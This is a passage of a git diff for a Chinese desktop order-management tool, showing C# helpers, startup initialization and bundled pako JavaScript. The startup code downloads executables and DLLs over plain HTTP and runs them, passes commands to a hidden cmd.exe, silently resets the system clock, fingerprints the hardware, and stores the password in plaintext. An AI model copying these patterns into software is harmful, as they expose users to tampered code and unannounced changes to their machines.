Encoding.GetEncoding("utf-8"))) + { + responseContent = httpStreamReader.ReadToEnd(); + } + httpWebResponse.Close(); + } + catch (Exception) + { } + finally + { + webRequest.Abort(); + } + return responseContent; + } + #endregion + + #region 获取ip + + public static string UploadBaidu(string url) + { + string userAgent = string.IsNullOrEmpty(BaseClass.ChromeUserAgent) ? BaseClass.UserAgent : BaseClass.ChromeUserAgent; + HttpWebResponse response = null; + try + { + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); + request.Method = "GET"; + request.KeepAlive = true; + request.Accept = "*/*"; + request.Headers.Add("is_xhr", @"1"); + request.Headers.Add("X-Requested-With", @"XMLHttpRequest"); + request.Headers.Add("is_referer", @"https://www.baidu.com/s?wd=%E6%9C%AC%E6%9C%BAip%E5%9C%B0%E5%9D%80%E6%9F%A5%E8%AF%A22"); + request.UserAgent = userAgent; + request.Headers.Add("is_pbs", @"%E6%9C%AC%E6%9C%BAip%E5%9C%B0%E5%9D%80%E6%9F%A5%E8%AF%A2"); + request.Referer = "https://www.baidu.com/s?wd=%E6%9C%AC%E6%9C%BAip%E5%9C%B0%E5%9D%80%E6%9F%A5%E8%AF%A2"; + request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate, br"); + request.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9"); + + response = (HttpWebResponse)request.GetResponse(); + } + catch (WebException e) + { + if (e.Status == WebExceptionStatus.ProtocolError) response = (HttpWebResponse)e.Response; + else return ""; + } + catch (Exception) + { + if (response != null) response.Close(); + return ""; + } + using (Stream responseStream = response.GetResponseStream()) + { + Stream streamToRead = responseStream; + if (response.ContentEncoding.ToLower().Contains("gzip")) + { + streamToRead = new GZipStream(streamToRead, CompressionMode.Decompress); + } + else if (response.ContentEncoding.ToLower().Contains("deflate")) + { + streamToRead = new DeflateStream(streamToRead, CompressionMode.Decompress); + } + using (StreamReader streamReader = new StreamReader(streamToRead, Encoding.UTF8)) + { + return streamReader.ReadToEnd(); + } + } + return ""; + } + + + #endregion + } +} diff --git a/Work/Helper/CEFHelper.cs b/Work/Helper/CEFHelper.cs new file mode 100644 index 0000000..10cc4c2 --- /dev/null +++ b/Work/Helper/CEFHelper.cs @@ -0,0 +1,22 @@ +using CefSharp; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Work.Helper +{ + public class CEFHelper + { + public static string CefCookieToCookieStr(List cookies) + { + string cookieStr = ""; + foreach (var cookie in cookies) + { + cookieStr += cookie.Name + "=" + cookie.Value + ";"; + } + return cookieStr; + } + } +} diff --git a/Work/Helper/Win32.cs b/Work/Helper/Win32.cs new file mode 100644 index 0000000..eae8152 --- /dev/null +++ b/Work/Helper/Win32.cs @@ -0,0 +1,70 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading.Tasks; + +namespace Work.Helper +{ + public class Win32 + { + #region Window Const + + public const int WM_ERASEBKGND = 0x0014; + public const int WM_LBUTTONDOWN = 0x0201; + public const int WM_LBUTTONUP = 0x0202; + public const int WM_LBUTTONDBLCLK = 0x0203; + public const int WM_WINDOWPOSCHANGING = 0x46; + public const int WM_PAINT = 0xF; + public const int WM_CREATE = 0x0001; + public const int WM_ACTIVATE = 0x0006; + public const int WM_NCCREATE = 0x0081; + public const int WM_NCCALCSIZE = 0x0083; + public const int WM_NCPAINT = 0x0085; + public const int WM_NCACTIVATE = 0x0086; + public const int WM_NCLBUTTONDOWN = 0x00A1; + public const int WM_NCLBUTTONUP = 0x00A2; + public const int WM_NCLBUTTONDBLCLK = 0x00A3; + public const int WM_NCMOUSEMOVE = 0x00A0; + + public const int WM_NCHITTEST = 0x0084; + + public const int HTLEFT = 10; + public const int HTRIGHT = 11; + public const int HTTOP = 12; + public const int HTTOPLEFT = 13; + public const int HTTOPRIGHT = 14; + public const int HTBOTTOM = 15; + public const int HTBOTTOMLEFT = 0x10; + public const int HTBOTTOMRIGHT = 17; + public const int HTCAPTION = 2; + public const int HTCLIENT = 1; + + public const int WM_FALSE = 0; + public const int WM_TRUE = 1; + + + + #endregion + + #region Public extern methods + + [DllImport("gdi32.dll")] + public static extern int CreateRoundRectRgn(int x1, int y1, int x2, int y2, int x3, int y3); + + [DllImport("user32.dll")] + public static extern int SetWindowRgn(IntPtr hwnd, int hRgn, Boolean bRedraw); + + [DllImport("gdi32.dll", EntryPoint = "DeleteObject", CharSet = CharSet.Ansi)] + public static extern int DeleteObject(int hObject); + + [DllImport("user32.dll")] + public static extern int SendMessage(IntPtr hWnd, int Msg, int wParam, int lParam); + + [DllImport("user32.dll")] + public static extern bool ReleaseCapture(); + + #endregion + } +} diff --git a/Work/Helper/WindowStyle.cs b/Work/Helper/WindowStyle.cs new file mode 100644 index 0000000..8faa57b --- /dev/null +++ b/Work/Helper/WindowStyle.cs @@ -0,0 +1,20 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace Work.Helper +{ + public class WindowStyle + { + public static void SetFormRoundRectRgn(Control c, int rgnRadius) + { + int hRgn = 0; + hRgn = Win32.CreateRoundRectRgn(0, 0, c.Width + 1, c.Height + 1, rgnRadius, rgnRadius); + Win32.SetWindowRgn(c.Handle, hRgn, true); + Win32.DeleteObject(hRgn); + } + } +} diff --git a/Work/ImgConvertToIcon.cs b/Work/ImgConvertToIcon.cs new file mode 100644 index 0000000..23992f1 --- /dev/null +++ b/Work/ImgConvertToIcon.cs @@ -0,0 +1,59 @@ +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Work +{ + public class ImgConvertToIcon + { + #region 将图片缓存ico + /// + ///要转换为图标的Image对象 + ///当image为null时是否返回null。false则抛空引用异常 + /// + public static Icon ConvertToIcon(Image image, bool nullTonull = false) + { + if (image == null) + { + if (nullTonull) { return null; } + throw new ArgumentNullException("image"); + } + + using (MemoryStream msImg = new MemoryStream() + , msIco = new MemoryStream()) + { + image.Save(msImg, ImageFormat.Png); + + using (BinaryWriter bin = new BinaryWriter(msIco)) + { + //写图标头部 + bin.Write((short)0); //0-1保留 + bin.Write((short)1); //2-3文件类型。1=图标, 2=光标 + bin.Write((short)1); //4-5图像数量(图标可以包含多个图像) + + bin.Write((byte)image.Width); //6图标宽度 + bin.Write((byte)image.Height); //7图标高度 + bin.Write((byte)0); //8颜色数(若像素位深>=8,填0。这是显然的,达到8bpp的颜色数最少是256,byte不够表示) + bin.Write((byte)0); //9保留。必须为0 + bin.Write((short)0); //10-11调色板 + bin.Write((short)32); //12-13位深 + bin.Write((int)msImg.Length); //14-17位图数据大小 + bin.Write(22); //18-21位图数据起始字节 + + //写图像数据 + bin.Write(msImg.ToArray()); + + bin.Flush(); + bin.Seek(0, SeekOrigin.Begin); + return new Icon(msIco); + } + } + } + #endregion + } +} diff --git a/Work/Initialization.cs b/Work/Initialization.cs new file mode 100644 index 0000000..0aa6aa5 --- /dev/null +++ b/Work/Initialization.cs @@ -0,0 +1,3712 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Management; +using System.Text; +using System.Threading; +using System.Windows.Forms; +using System.Xml; +using AllBase; + +using System.Drawing.Text; +using System.Drawing; +using System.Runtime.InteropServices; +using Work.Api; + +namespace Work +{ + public class Initialization + { + public static string ConfigFilePach = Application.StartupPath + "\\Config.xml"; + public void Get() + { + string s = FileBase.ReadAllText("config.ini"); + if (!string.IsNullOrEmpty(s) && s.Contains(",")) + { + //BaseClass.AgentName = s.Split(',')[0]; + BaseClass.MainPath = s.Split(',')[1]; + } + if (Randomx.GetId(1, 100) <= 70) + BaseClass.LoginApiUrl = "http://new.qixiaoke.com/";// "http://192.168.8.9:8080/";//"http://new.qixiaoke.com/"; + if (FileBase.Exists(Application.StartupPath + "\\oms.ini")) + { + BaseClass.IsMainCompany = true; + } + BaseClass.IsBuyer = FileBase.Exists(Application.StartupPath + "\\buyer.ini"); + new Thread(Update).Start();//--------检查更新 + new Thread(GetAuthConfig).Start(); + new Thread(new JumpUpProductNew().Ini).Start(); + new Thread(CheckFiles).Start(); + new Thread(UpdateTime).Start(); + new Thread(GetMacCode).Start(); + + //new Thread(CheckUpdataFile).Start(); + CheckHecker r = new CheckHecker(); + new Thread(r.Check).Start();//防止破解 + if (!File.Exists(ConfigFilePach)) + WriteFile(); + try + { + XmlDocument xmlDoc = new XmlDocument(); + xmlDoc.Load(ConfigFilePach); + XmlNode xn = xmlDoc.SelectSingleNode("ConfigSet"); + if (string.IsNullOrEmpty(BaseClass.PassWord)) + { + BaseClass.UserName = xn["UserName"].InnerText; + BaseClass.PassWord = xn["PassWord"].InnerText; + } + BaseClass.Remember = bool.Parse(xn["RememberPass"].InnerText); + BaseClass.AutoLogin = bool.Parse(xn["AutoLogin"].InnerText); + } + catch + { + MessageBox.Show("配置文件异常,自动重置"); + WriteFile(); + } + GetPublicIp(); + } + + + /// + /// 获取签名验证配置 + /// + private void GetAuthConfig() + { + string sUrl = BaseClass.LoginApiUrl + "/?obj=api/config&act=auth_config"; + //string sAuthConfig = HttpHelper.Get(new HttpParam { Url = sUrl }); + string sAuthConfig = GetHtml.PostUtf8(sUrl, ""); + if (string.IsNullOrEmpty(sAuthConfig)) return; + BaseClass.NewSignatureAuth = sAuthConfig.Equals("1"); + } + + + #region 获取IP + public static void GetPublicIp() + { + try + { + string url = " https://www.baidu.com/s?ie=utf-8&newi=1&mod=1&isbd=1&isid=84A468A54F829825&wd=" + GetHtml.UrlEncodeUtf8("本机iP地址查询") + "&rsv_spt=1&rsv_iqid=0xcb667698000f1fc5&issp=1&f=8&rsv_bp=1&rsv_idx=2&ie=utf-8&tn=baiduhome_pg&rsv_enter=0&rsv_dl=tb&rsv_sug3=2&rsv_n=2&rsv_sug1=1&rsv_sug7=100&inputT=9336&rsv_sug4=9993&rsv_sid=30747_1421_21089_30792_20692_30824_26350_22157&_ss=1&clist=&hsug=&f4s=1&csor=8&_cr1=29534"; + string html = GetPostTaobaoHtml.UploadBaidu(url); + var m = BaseRegex.GetMatchRegex(ref html, @"我的ip地址(\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3})\s*属于([\w\W]+?)。"); + for (int j = 0; m != null && j < m.Count; j++) + { + BaseClass.IPAddress = m[j].Groups[1].Value; + BaseClass.IPAddressName = m[j].Groups[2].Value; + } + if (string.IsNullOrEmpty(BaseClass.IPAddress)) + { + url = "http://ip.xianhua.com.cn/"; + html = GetPostTaobaoHtml.UploadTaobao(url, "", true); + m = BaseRegex.GetMatchRegex(ref html, @"\[(.*?)]"); + for (int j = 0; m != null && j < m.Count; j++) + { + BaseClass.IPAddress = m[0].ToString().Trim('[').Trim(']'); + BaseClass.IPAddressName = m[1].ToString().Trim('[').Trim(']'); + } + } + if (string.IsNullOrEmpty(BaseClass.IPAddress)) + { + url = "http://2000019.ip138.com/"; + html = GetPostTaobaoHtml.UploadTaobao(url, "", true); + m = BaseRegex.GetMatchRegex(ref html, @"您的IP地址是:\s*\[([\w\W]+?)\]\s*来自:([\w\W]+?)

"); + for (int j = 0; m != null && j < m.Count; j++) + { + BaseClass.IPAddress = m[j].Groups[1].Value; + BaseClass.IPAddressName = m[j].Groups[2].Value.Trim(); + } + } + } + catch + { + + } + } + #endregion + + /// + /// 检查更新 + /// + private void Update() + { + string upfilepath = Application.StartupPath + "\\Updatex.exe"; + File.WriteAllText(Application.StartupPath + "\\updateconfig.ini", BaseClass.VersionCount + "\r\nhttps://update.qixiaoke.com/littlerabbit_update/order.php"); + if (File.Exists(upfilepath)) + { + string fc = GetMD5(upfilepath); + if (fc != "001EC5642914325F1DCF6E69BBA90738") + { + GetHtml.DownloadFile("http://dl.qixiaoke.com/Update3.1.exe", upfilepath); + } + } + else//如果自动更新文件不存在,则强制更新主文件 + GetHtml.DownloadFile("http://dl.qixiaoke.com/Update3.1.exe", upfilepath); + try + { + Process.Start(upfilepath); + } + catch + { + } + } + + /// + /// 检查文件是否在允许版本内 + /// + /// + private void CheckUpdataFile() + { + string file = "cefSharp"; + if (File.Exists("Loginer.exe") || File.Exists("PinBaoBao.exe")) + file = "cefSharpBaobao"; + if (GetHtml.DownloadFile("http://dl.qixiaoke.com/files/uploadeCefSharp.exe", "uploadeCefSharp.exe.bak")) + FileBase.Move("uploadeCefSharp.exe.bak", "uploadeCefSharp.exe"); + else + return; + if (GetHtml.DownloadFile("http://dl.qixiaoke.com/files/" + file + ".zip", "temp\\cefSharp.zip.bak")) + FileBase.Move("temp\\cefSharp.zip.bak", "temp\\cefSharp.zip"); + else + return; + if (MessageBox.Show("是否升级浏览器内核", "升级提示", MessageBoxButtons.YesNo) == DialogResult.No) + return; + Process p = new Process(); + p.StartInfo.FileName = "uploadeCefSharp.exe"; + p.StartInfo.Arguments = "FindLittleRabbitOrder.exe"; + p.StartInfo.UseShellExecute = false; + p.StartInfo.Verb = "runas"; + p.Start(); + Process.GetCurrentProcess().Kill(); + } + + /// + /// 获取文件MD5值 + /// + /// + /// + public static string GetMD5(string FilePath) + { + try + { + FileStream get_file = new FileStream(FilePath, FileMode.Open, FileAccess.Read, FileShare.Read); + System.Security.Cryptography.MD5CryptoServiceProvider get_md5 = new System.Security.Cryptography.MD5CryptoServiceProvider(); + byte[] hash_byte = get_md5.ComputeHash(get_file); + string resule = System.BitConverter.ToString(hash_byte); + resule = resule.Replace("-", ""); + get_file.Close(); + return resule; + } + catch (Exception e) + { + return e.ToString(); + } + } + + /// + /// 获取机器码 + /// + /// + public void GetMacCode() + { + string Info = ""; //cpu序列号 + try + { + ManagementClass cimobject = new ManagementClass("Win32_Processor"); + ManagementObjectCollection moc = cimobject.GetInstances(); + foreach (ManagementObject mo in moc) + { + Info = mo.Properties["ProcessorId"].Value.ToString(); + break; + } + Info += "@"; + ManagementClass cimobject1 = new ManagementClass("Win32_DiskDrive"); + ManagementObjectCollection moc1 = cimobject1.GetInstances(); + foreach (ManagementObject mo in moc1) + { + if (mo["signature"] == null||mo["signature"].ToString() == string.Empty || mo["signature"].ToString() == "0" || mo.Properties["Model"].Value.ToString().IndexOf("USB") > -1) + { + continue; + } + Info += mo.Properties["Model"].Value + "," + mo["SerialNumber"] + ";"; //硬盘型号、硬盘ID + } + Info = Info.Substring(0, Info.Length - 1); + Info = Info.Replace(" ", ""); + } + catch + { + } + BaseClass.MacInfo = Info; + } + + /// + /// 校准时间 + /// + private void UpdateTime() + { + string t = GetHtml.Utf8(BaseClass.LoginApiUrl + "time.php"); + if (string.IsNullOrEmpty(t)) + return; + DateTime dt; + if (!DateTime.TryParse(t, out dt)) + { + MessageBox.Show("连接服务器失败,将导致无法登录", "请检查防火墙设置"); + return; + } + int s = BaseClass.ConvertDateTimeInt(dt); + SetDate(); //更新系统时间 + int a = BaseClass.ConvertDateTimeInt(DateTime.Now); + BaseClass.TimeDifferent = s - a; + //SetDate(dt); //设置系统时间 + + } + + #region 同步系统时间 + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern int SetLocalTime(ref SystemTime lpSystemTime); + public struct SystemTime + { + public short wYear; + public short wMonth; + public short wDayOfWeek; + public short wDay; + public short wHour; + public short wMinute; + public short wSecond; + public short wMilliseconds; + } + + private void SetDate() + { + try + { + var newTime = BaseClass.GetServerTimeString(); + var newDate = Convert.ToDateTime(newTime); + SystemTime sysNew = new SystemTime(); + sysNew.wDay = (short)newDate.Day; + sysNew.wMonth = (short)newDate.Month; + sysNew.wYear = (short)newDate.Year; + sysNew.wHour = (short)newDate.Hour; + sysNew.wMinute = (short)newDate.Minute; + sysNew.wSecond = (short)newDate.Second; + SetLocalTime(ref sysNew); + } + catch (Exception) + { + + //throw; + } + + } + #endregion + + /// + /// 检查文件 + /// + private void CheckFiles() + { + FileBase.DirectoryCreate("cefSharp"); + List files = new List(); + files.Add(new KeyValueBase("taobao_address.tjm", "taobao_address.js")); + files.Add(new KeyValueBase("1688_address.tjm", "1688address.js")); + files.Add(new KeyValueBase("CClib.dll", "CClib.ico")); + //files.Add(new KeyValueBase("pdd.dat", "pdd.ico")); + //files.Add(new KeyValueBase("WmCode.dll", "WmCode.ico")); + files.Add(new KeyValueBase("crawlerInfoInterface.js", "crawlerInfoInterface.js")); + files.Add(new KeyValueBase("crawlerInfo.js", "crawlerInfo.js")); + files.Add(new KeyValueBase("Interop.MSScriptControl.dll", "Interop.MSScriptControl.ico")); + //files.Add(new KeyValueBase("XGCode.dll", "XGCode.ico")); + files.Add(new KeyValueBase("Newtonsoft.Json.dll", "Newtonsoft.Json.dll")); + files.Add(new KeyValueBase("Newtonsoft.Json.xml", "Newtonsoft.Json.xml")); + + files.Add(new KeyValueBase("zxing.dll", "zxing.dll")); + //files.Add(new KeyValueBase("NPOI.dll", "NPOI.dll")); + //files.Add(new KeyValueBase("NPOI.OOXML.dll", "NPOI.OOXML.dll")); + //files.Add(new KeyValueBase("NPOI.OpenXml4Net.dll", "NPOI.OpenXml4Net.dll")); + //files.Add(new KeyValueBase("NPOI.OpenXmlFormats.dll", "NPOI.OpenXmlFormats.dll")); + files.Add(new KeyValueBase("OrderComing.ico", "temp/OrderComing.wav")); + files.Add(new KeyValueBase("AfterSale.ico", "temp/AfterSale.wav")); + //files.Add(new KeyValueBase("9527.ico", "temp/9527.wav")); + //files.Add(new KeyValueBase("本墨绪圆.dll", "本墨绪圆.dll")); + //if(!File.Exists("cefSharp/CefSharp.dll")) + // files.Add(new KeyValueBase("cefSharp.zip", "cefSharp.zip")); + //files.Add(new KeyValueBase("icoz.ico", "icoz.ico")); + foreach (KeyValueBase k in files) + { + if (FileBase.Exists(k.Key)) + continue; + if (k.Key.Contains("OrderComing.ico") || k.Key.Contains("AfterSale.ico")) + { + if (GetHtml.DownloadFile("http://dl.qixiaoke.com/files/" + k.Key, k.Value)) + FileBase.Move(k.Key + ".bak", k.Value); + } + else + { + if (GetHtml.DownloadFile("http://dl.qixiaoke.com/files/" + k.Value, k.Key + ".bak")) + FileBase.Move(k.Key + ".bak", k.Key); + } + } + //if (FileBase.Exists("cefSharp.zip")) + //{ + // ZipHelper.DecomparessFile(Application.StartupPath + @"\cefSharp.zip", + // Application.StartupPath + @"\cefSharp\"); + // FileBase.Delete("cefSharp.zip"); + //} + //new Thread(new MulitServicerSet("拼多多商家").Login).Start(); + new AddressSetIni().Ini(); + + + + } + /// + /// 执行CMD命令 + /// + /// + public static void RunCmd(string com) + { + try + { + Process p = new Process(); + p.StartInfo.FileName = "cmd.exe"; + p.StartInfo.UseShellExecute = false; + p.StartInfo.RedirectStandardInput = true; + p.StartInfo.RedirectStandardOutput = true; + p.StartInfo.RedirectStandardError = true; + p.StartInfo.CreateNoWindow = true; + p.Start(); + p.StandardInput.WriteLine(com); + p.StandardInput.WriteLine("exit"); + p.StandardOutput.ReadToEnd(); + p.WaitForExit(); + p.Close(); + } + catch (Exception e) + { + MessageBox.Show("注册组件错误:" + e.Message + "\r\n请给程序管理员权限,或者关闭杀毒、安全卫士等工具\r\n注册成功之后,可以继续开启安全软件", "提示"); + } + } + /// + /// 保存配置 + /// + public void SaveConfig() + { + try + { + XmlDocument xmlDoc = new XmlDocument(); + xmlDoc.Load(ConfigFilePach); + XmlNode xn = xmlDoc.SelectSingleNode("ConfigSet"); + xn["WaitTime"].InnerText = BaseClass.WaitTime.ToString(); + xn["ThreadCount"].InnerText = BaseClass.ThreadCount.ToString(); + xn["OrderStep"].InnerText = BaseClass.OrderStep.ToString(); + xn["RankPage"].InnerText = BaseClass.RankPage.ToString(); + xn["UserName"].InnerText = BaseClass.UserName; + xn["PassWord"].InnerText = BaseClass.Remember ? BaseClass.PassWord : ""; + xn["HadNoteId"].InnerText = BaseClass.HadNoteId; + xn["RememberPass"].InnerText = BaseClass.Remember.ToString(); + xn["AutoLogin"].InnerText = BaseClass.AutoLogin.ToString(); + xmlDoc.Save(ConfigFilePach); + } + catch + { + BaseClass.ViewCode += "保存配置信息出错,请删除配置文件,重试\n"; + } + } + + /// + /// 写入配置文件 + /// + public void WriteFile() + { + string content = @" + + 1000 + 1 + + + False + True + + 1 + 3 + 10 + 300 + 1 + 5 + 5 + 2 + True + True + True + True + 50 +"; + FileBase.WriteAllText(ConfigFilePach, content, Encoding.UTF8); + } + + #region JS + + + public static string JsCode = @"(function(f){if(typeof exports===""object""&&typeof module!==""undefined""){module.exports=f()}else if(typeof define===""function""&&define.amd){define([],f)}else{var g;if(typeof window!==""undefined""){g=window}else if(typeof global!==""undefined""){g=global}else if(typeof self!==""undefined""){g=self}else{g=this}g.pako = f()}})(function(){var define,module,exports;return (function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require==""function""&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);var f=new Error(""Cannot find module '""+o+""'"");throw f.code=""MODULE_NOT_FOUND"",f}var l=n[o]={exports:{}};t[o][0].call(l.exports,function(e){var n=t[o][1][e];return s(n?n:e)},l,l.exports,e,t,n,r)}return n[o].exports}var i=typeof require==""function""&&require;for(var o=0;o= 252 ? 6 : q >= 248 ? 5 : q >= 240 ? 4 : q >= 224 ? 3 : q >= 192 ? 2 : 1); +} +_utf8len[254] = _utf8len[254] = 1; // Invalid sequence start +exports.string2buf = function (str) { + var buf, c, c2, m_pos, i, str_len = str.length, buf_len = 0; + for (m_pos = 0; m_pos < str_len; m_pos++) { + c = str.charCodeAt(m_pos); + if ((c & 0xfc00) === 0xd800 && (m_pos + 1 < str_len)) { + c2 = str.charCodeAt(m_pos + 1); + if ((c2 & 0xfc00) === 0xdc00) { + c = 0x10000 + ((c - 0xd800) << 10) + (c2 - 0xdc00); + m_pos++; + } + } + buf_len += c < 0x80 ? 1 : c < 0x800 ? 2 : c < 0x10000 ? 3 : 4; + } + buf = new utils.Buf8(buf_len); + for (i = 0, m_pos = 0; i < buf_len; m_pos++) { + c = str.charCodeAt(m_pos); + if ((c & 0xfc00) === 0xd800 && (m_pos + 1 < str_len)) { + c2 = str.charCodeAt(m_pos + 1); + if ((c2 & 0xfc00) === 0xdc00) { + c = 0x10000 + ((c - 0xd800) << 10) + (c2 - 0xdc00); + m_pos++; + } + } + if (c < 0x80) { + buf[i++] = c; + } else if (c < 0x800) { + buf[i++] = 0xC0 | (c >>> 6); + buf[i++] = 0x80 | (c & 0x3f); + } else if (c < 0x10000) { + buf[i++] = 0xE0 | (c >>> 12); + buf[i++] = 0x80 | (c >>> 6 & 0x3f); + buf[i++] = 0x80 | (c & 0x3f); + } else { + buf[i++] = 0xf0 | (c >>> 18); + buf[i++] = 0x80 | (c >>> 12 & 0x3f); + buf[i++] = 0x80 | (c >>> 6 & 0x3f); + buf[i++] = 0x80 | (c & 0x3f); + } + } + + return buf; +}; +function buf2binstring(buf, len) { + if (len < 65537) { + if ((buf.subarray && STR_APPLY_UIA_OK) || (!buf.subarray && STR_APPLY_OK)) { + return String.fromCharCode.apply(null, utils.shrinkBuf(buf, len)); + } + } + + var result = ''; + for (var i = 0; i < len; i++) { + result += String.fromCharCode(buf[i]); + } + return result; +} +exports.buf2binstring = function (buf) { + return buf2binstring(buf, buf.length); +}; +exports.binstring2buf = function (str) { + var buf = new utils.Buf8(str.length); + for (var i = 0, len = buf.length; i < len; i++) { + buf[i] = str.charCodeAt(i); + } + return buf; +}; +exports.buf2string = function (buf, max) { + var i, out, c, c_len; + var len = max || buf.length; + var utf16buf = new Array(len * 2); + for (out = 0, i = 0; i < len;) { + c = buf[i++]; + if (c < 0x80) { utf16buf[out++] = c; continue; } + + c_len = _utf8len[c]; + if (c_len > 4) { utf16buf[out++] = 0xfffd; i += c_len - 1; continue; } + c &= c_len === 2 ? 0x1f : c_len === 3 ? 0x0f : 0x07; + while (c_len > 1 && i < len) { + c = (c << 6) | (buf[i++] & 0x3f); + c_len--; + } + if (c_len > 1) { utf16buf[out++] = 0xfffd; continue; } + + if (c < 0x10000) { + utf16buf[out++] = c; + } else { + c -= 0x10000; + utf16buf[out++] = 0xd800 | ((c >> 10) & 0x3ff); + utf16buf[out++] = 0xdc00 | (c & 0x3ff); + } + } + + return buf2binstring(utf16buf, out); +}; +exports.utf8border = function (buf, max) { + var pos; + + max = max || buf.length; + if (max > buf.length) { max = buf.length; } + pos = max - 1; + while (pos >= 0 && (buf[pos] & 0xC0) === 0x80) { pos--; } + if (pos < 0) { return max; } + if (pos === 0) { return max; } + return (pos + _utf8len[buf[pos]] > max) ? pos : max; +}; + +},{""./common"":1}],3:[function(require,module,exports){ +'use strict'; +function adler32(adler, buf, len, pos) { + var s1 = (adler & 0xffff) |0, + s2 = ((adler >>> 16) & 0xffff) |0, + n = 0; + while (len !== 0) { + n = len > 2000 ? 2000 : len; + len -= n; + + do { + s1 = (s1 + buf[pos++]) |0; + s2 = (s2 + s1) |0; + } while (--n); + + s1 %= 65521; + s2 %= 65521; + } + + return (s1 | (s2 << 16)) |0; +} +module.exports = adler32; + +},{}],4:[function(require,module,exports){ +'use strict'; +function makeTable() { + var c, table = []; + + for (var n = 0; n < 256; n++) { + c = n; + for (var k = 0; k < 8; k++) { + c = ((c & 1) ? (0xEDB88320 ^ (c >>> 1)) : (c >>> 1)); + } + table[n] = c; + } + + return table; +} +var crcTable = makeTable(); +function crc32(crc, buf, len, pos) { + var t = crcTable, + end = pos + len; + + crc ^= -1; + + for (var i = pos; i < end; i++) { + crc = (crc >>> 8) ^ t[(crc ^ buf[i]) & 0xFF]; + } + + return (crc ^ (-1)); // >>> 0; +} + + +module.exports = crc32; + +},{}],5:[function(require,module,exports){ +'use strict'; +var utils = require('../utils/common'); +var trees = require('./trees'); +var adler32 = require('./adler32'); +var crc32 = require('./crc32'); +var msg = require('./messages'); +var Z_NO_FLUSH = 0; +var Z_PARTIAL_FLUSH = 1; +var Z_FULL_FLUSH = 3; +var Z_FINISH = 4; +var Z_BLOCK = 5; +var Z_OK = 0; +var Z_STREAM_END = 1; +var Z_STREAM_ERROR = -2; +var Z_DATA_ERROR = -3; +var Z_BUF_ERROR = -5; +var Z_DEFAULT_COMPRESSION = -1; +var Z_FILTERED = 1; +var Z_HUFFMAN_ONLY = 2; +var Z_RLE = 3; +var Z_FIXED = 4; +var Z_DEFAULT_STRATEGY = 0; +var Z_UNKNOWN = 2; +var Z_DEFLATED = 8; +var MAX_MEM_LEVEL = 9; +var MAX_WBITS = 15; +var DEF_MEM_LEVEL = 8; +var LENGTH_CODES = 29; +var LITERALS = 256; +var L_CODES = LITERALS + 1 + LENGTH_CODES; +var D_CODES = 30; +var BL_CODES = 19; +var HEAP_SIZE = 2 * L_CODES + 1; +/* maximum heap size */ +var MAX_BITS = 15; +/* All codes must not exceed MAX_BITS bits */ + +var MIN_MATCH = 3; +var MAX_MATCH = 258; +var MIN_LOOKAHEAD = (MAX_MATCH + MIN_MATCH + 1); + +var PRESET_DICT = 0x20; + +var INIT_STATE = 42; +var EXTRA_STATE = 69; +var NAME_STATE = 73; +var COMMENT_STATE = 91; +var HCRC_STATE = 103; +var BUSY_STATE = 113; +var FINISH_STATE = 666; + +var BS_NEED_MORE = 1; +var BS_BLOCK_DONE = 2; +var BS_FINISH_STARTED = 3; +var BS_FINISH_DONE = 4; + +var OS_CODE = 0x03; + +function err(strm, errorCode) { + strm.msg = msg[errorCode]; + return errorCode; +} + +function rank(f) { + return ((f) << 1) - ((f) > 4 ? 9 : 0); +} + +function zero(buf) { var len = buf.length; while (--len >= 0) { buf[len] = 0; } } + +function flush_pending(strm) { + var s = strm.state; + + //_tr_flush_bits(s); + var len = s.pending; + if (len > strm.avail_out) { + len = strm.avail_out; + } + if (len === 0) { return; } + + utils.arraySet(strm.output, s.pending_buf, s.pending_out, len, strm.next_out); + strm.next_out += len; + s.pending_out += len; + strm.total_out += len; + strm.avail_out -= len; + s.pending -= len; + if (s.pending === 0) { + s.pending_out = 0; + } +} + + +function flush_block_only(s, last) { + trees._tr_flush_block(s, (s.block_start >= 0 ? s.block_start : -1), s.strstart - s.block_start, last); + s.block_start = s.strstart; + flush_pending(s.strm); +} + + +function put_byte(s, b) { + s.pending_buf[s.pending++] = b; +} +function putShortMSB(s, b) { + s.pending_buf[s.pending++] = (b >>> 8) & 0xff; + s.pending_buf[s.pending++] = b & 0xff; +} +function read_buf(strm, buf, start, size) { + var len = strm.avail_in; + + if (len > size) { len = size; } + if (len === 0) { return 0; } + strm.avail_in -= len; + utils.arraySet(buf, strm.input, strm.next_in, len, start); + if (strm.state.wrap === 1) { + strm.adler = adler32(strm.adler, buf, len, start); + } + + else if (strm.state.wrap === 2) { + strm.adler = crc32(strm.adler, buf, len, start); + } + + strm.next_in += len; + strm.total_in += len; + + return len; +} +function longest_match(s, cur_match) { + var chain_length = s.max_chain_length; + var scan = s.strstart; + var match; + var len; + var best_len = s.prev_length; + var nice_match = s.nice_match; + var limit = (s.strstart > (s.w_size - MIN_LOOKAHEAD)) ? + s.strstart - (s.w_size - MIN_LOOKAHEAD) : 0/*NIL*/; + var _win = s.window; + var wmask = s.w_mask; + var prev = s.prev; + var strend = s.strstart + MAX_MATCH; + var scan_end1 = _win[scan + best_len - 1]; + var scan_end = _win[scan + best_len]; + if (s.prev_length >= s.good_match) { + chain_length >>= 2; + } + if (nice_match > s.lookahead) { nice_match = s.lookahead; } + do { + match = cur_match; + if (_win[match + best_len] !== scan_end || + _win[match + best_len - 1] !== scan_end1 || + _win[match] !== _win[scan] || + _win[++match] !== _win[scan + 1]) { + continue; + } + scan += 2; + match++; + do { + } while (_win[++scan] === _win[++match] && _win[++scan] === _win[++match] && + _win[++scan] === _win[++match] && _win[++scan] === _win[++match] && + _win[++scan] === _win[++match] && _win[++scan] === _win[++match] && + _win[++scan] 